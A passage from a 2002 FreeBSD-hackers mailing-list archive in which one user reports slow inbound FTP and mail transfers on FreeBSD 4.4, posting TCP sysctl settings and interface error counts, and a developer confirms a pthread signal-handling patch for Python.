MacIntyre "These thoughts are mine alone..." E-mail: andymac@bullseye.apana.org.au | Snail: PO Box 370 andymac@pcug.org.au | Belconnen ACT 2616 Web: http://www.andymac.org/ | Australia To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Jun 29 21:55:36 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 56D2E37B400 for ; Sat, 29 Jun 2002 21:55:31 -0700 (PDT) Received: from mgw1-out.MEIway.com (mgw1.meiway.com [212.73.210.75]) by mx1.FreeBSD.org (Postfix) with ESMTP id 416B543E09 for ; Sat, 29 Jun 2002 21:55:30 -0700 (PDT) (envelope-from LConrad@Go2France.com) Received: from VirusGate.MEIway.com (virus-gate.meiway.com [212.73.210.91]) by mgw1-out.MEIway.com (Postfix Relay Hub) with ESMTP id 445E8EF6A5 for ; Sun, 30 Jun 2002 06:54:25 +0200 (CEST) Received: from localhost (localhost.meiway.com [127.0.0.1]) by VirusGate.MEIway.com (Postfix) with SMTP id 4BB9B5D009 for ; Sun, 30 Jun 2002 06:57:44 +0200 (CEST) Received: from mail.Go2France.com (ms1.meiway.com [212.73.210.73]) by VirusGate.MEIway.com (Postfix) with ESMTP id EC0245D008 for ; Sun, 30 Jun 2002 06:57:43 +0200 (CEST) Received: from LenConrad.Go2France.com [66.64.14.18] by mail.Go2France.com with ESMTP (SMTPD32-6.06) id AFD67A00FA; Sun, 30 Jun 2002 06:57:58 +0200 Message-Id: <5.1.0.14.2.20020629235459.031daf28@mail.Go2France.com> X-Sender: LConrad@Go2France.com@mail.Go2France.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Sat, 29 Jun 2002 23:55:25 -0500 To: freebsd-hackers@freebsd.org From: Len Conrad Subject: ftp and mail much slower into fbsd 4.4 vs and old BSDi Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Sorry, hackers, I posted this twice in -questions and got no response. If the problem is newreno, can somebody say how to up just that piece for 4.4 so as to be as non-disruptive, non-dice-rolling as possible on this otherwise solid machine? Thanks Len ================ FreeBSD 4.4-RELEASE #0 CPU: Pentium III/Pentium III Xeon/Celeron (848.05-MHz 686-class CPU) avail memory = 518156288 (506012K bytes) tx0: port 0x1000-0x10ff mem 0xe8000000-0xe8000fff irq 10 at device 14.0 on pci0 qsphy0: 10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, auto tx0: address 00:e0:29:24:17:80, type SMC9432TX ahc0: port 0x1400-0x14ff mem 0xe8001000-0xe8001fff irq 9 at device 16.0 on pci0 aic7892: Ultra160 Wide Channel A, SCSI Id=7, 32/255 SCBs Mounting root from ufs:/dev/da0s1a da0 at ahc0 bus 0 target 0 lun 0 da0: Fixed Direct Access SCSI-3 device da0: 160.000MB/s transfers (80.000MHz, offset 31, 16bit), Tagged Queueing Enabled # sysctl -a | grep tcp tcpcb: 544, 1064, 51, 152, 70748 net.inet.tcp.rfc1323: 1 net.inet.tcp.rfc1644: 0 net.inet.tcp.mssdflt: 512 net.inet.tcp.keepidle: 7200000 net.inet.tcp.keepintvl: 75000 net.inet.tcp.sendspace: 16384 net.inet.tcp.recvspace: 16384 net.inet.tcp.keepinit: 75000 net.inet.tcp.delacktime: 100 net.inet.tcp.v6mssdflt: 1024 net.inet.tcp.log_in_vain: 0 net.inet.tcp.blackhole: 0 net.inet.tcp.delayed_ack: 1 net.inet.tcp.tcp_lq_overflow: 1 net.inet.tcp.path_mtu_discovery: 1 net.inet.tcp.slowstart_flightsize: 1 net.inet.tcp.local_slowstart_flightsize: 65535 net.inet.tcp.newreno: 1 net.inet.tcp.tcbhashsize: 512 net.inet.tcp.do_tcpdrain: 1 net.inet.tcp.pcbcount: 51 net.inet.tcp.icmp_may_rst: 1 net.inet.tcp.strict_rfc1948: 0 net.inet.tcp.isn_reseed_interval: 0 net.inet.tcp.msl: 30000 net.inet.tcp.always_keepalive: 1 # sysctl -a | grep buf kern.ipc.maxsockbuf: 262144 kern.ipc.sockbuf_waste_factor: 8 kern.ipc.mbuf_wait: 32 kern.ipc.nmbufs: 4096 kern.msgbuf: kern.msgbuf_clear: 0 vfs.nfs.bufpackets: 4 vfs.numdirtybuffers: 130 vfs.lodirtybuffers: 499 vfs.hidirtybuffers: 998 vfs.numfreebuffers: 3785 vfs.lofreebuffers: 222 vfs.hifreebuffers: 444 vfs.runningbufspace: 0 vfs.maxbufspace: 64143360 vfs.hibufspace: 63488000 vfs.lobufspace: 63422464 vfs.bufspace: 63422464 vfs.maxmallocbufspace: 3174400 vfs.bufmallocspace: 712704 vfs.getnewbufcalls: 556989 vfs.getnewbufrestarts: 0 vfs.bufdefragcnt: 0 vfs.buffreekvacnt: 0 vfs.bufreusecnt: 3871 vfs.reassignbufcalls: 3716853 vfs.reassignbufloops: 0 vfs.reassignbufsortgood: 474986 vfs.reassignbufsortbad: 1252304 vfs.reassignbufmethod: 1 debug.bpf_bufsize: 4096 debug.bpf_maxbufsize: 524288 machdep.msgbuf: machdep.msgbuf_clear: 0 with a 190 mbyte file: an ftp client pulling the file from fbsd is "blindingly fast" (aka "immeasurably" :)) ) ftp client sending to freebsd is 52 kbytes/sec ftp client sending to another ftp server on the same LAN is 1.6 megabytes/sec sending mail with a large attachment to the fbsd box is 100 kbytes/sec. (postfix is MTA) ftp a 5.5 mbyte from workstation client to fbsd: 109 seconds ftp a 5.5 mbyte from fbsd client to workstation ftp server: 3 seconds the machine runs a apache, qpopper, postfix, ftp, bind9 for a small LAN all on the same segment. dmesg and messages shows no errors. netstat -bi gives Name Mtu Network Address Ipkts Ierrs Ibytes Opkts Oerrs Obytes Coll tx0 1500 00:e0:29:24:17:80 3171595 552 465267774 4214806 0 720458428 0 yeah, we don't like the Ierrs of 552. change the nic? change the driver? or is this the "newreno" tcp/ip problem? The Ierrs go up by 2 or 3 after each 5.5 mbytes file transfer. The new FBSD box replaces a BSDi on older hardware, with everybody on the LAN now noting that ftp of big files to and mail with big attachments to the new FBSD box are dramatically slower than the BSDi box. Anybody have any idea how to speed up / fix the transfers to the fbsd box? thanks Len www.menandmice.com/DNS-training : DNS Training BIND8NT.MEIway.com : ISC BIND for NT4 & W2K IMGate.MEIway.com : Build free, hi-perf, anti-abuse mail gateways To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Jun 29 22: 4:51 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 07DC537B400 for ; Sat, 29 Jun 2002 22:04:48 -0700 (PDT) Received: from mail.pcnet.com (pcnet1.pcnet.com [204.213.232.3]) by mx1.FreeBSD.org (Postfix) with ESMTP id 52B4B43E09 for ; Sat, 29 Jun 2002 22:04:47 -0700 (PDT) (envelope-from eischen@pcnet1.pcnet.com) Received: from localhost (eischen@localhost) by mail.pcnet.com (8.12.3/8.12.1) with ESMTP id g5U54LrD025732; Sun, 30 Jun 2002 01:04:22 -0400 (EDT) Date: Sun, 30 Jun 2002 01:04:21 -0400 (EDT) From: Daniel Eischen To: Andrew MacIntyre Cc: Daniel Eischen , freebsd-hackers@freebsd.org Subject: Re: signals in apps built with -pthread In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, 30 Jun 2002, Andrew MacIntyre wrote: > On Wed, 19 Jun 2002, Daniel Eischen wrote: > > > Andrew MacIntyre wrote: > > {...} > > > > The attached C code is a simple example of a signal handling situation > > > which works in the non-threaded interpreter, but fails in a threaded > > > interpreter. > > {...} > > > Try the patch included at the bottom. > {...} > > Index: uthread/uthread_sigpending.c > {...} > > Index: uthread/uthread_sigsuspend.c > > This patch does indeed resolve the issue with the Python interpreter. > > Could I expect this patch to be applied to -stable before 4.7? Should be no problem. It's already been committed to -current. -- Dan Eischen To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message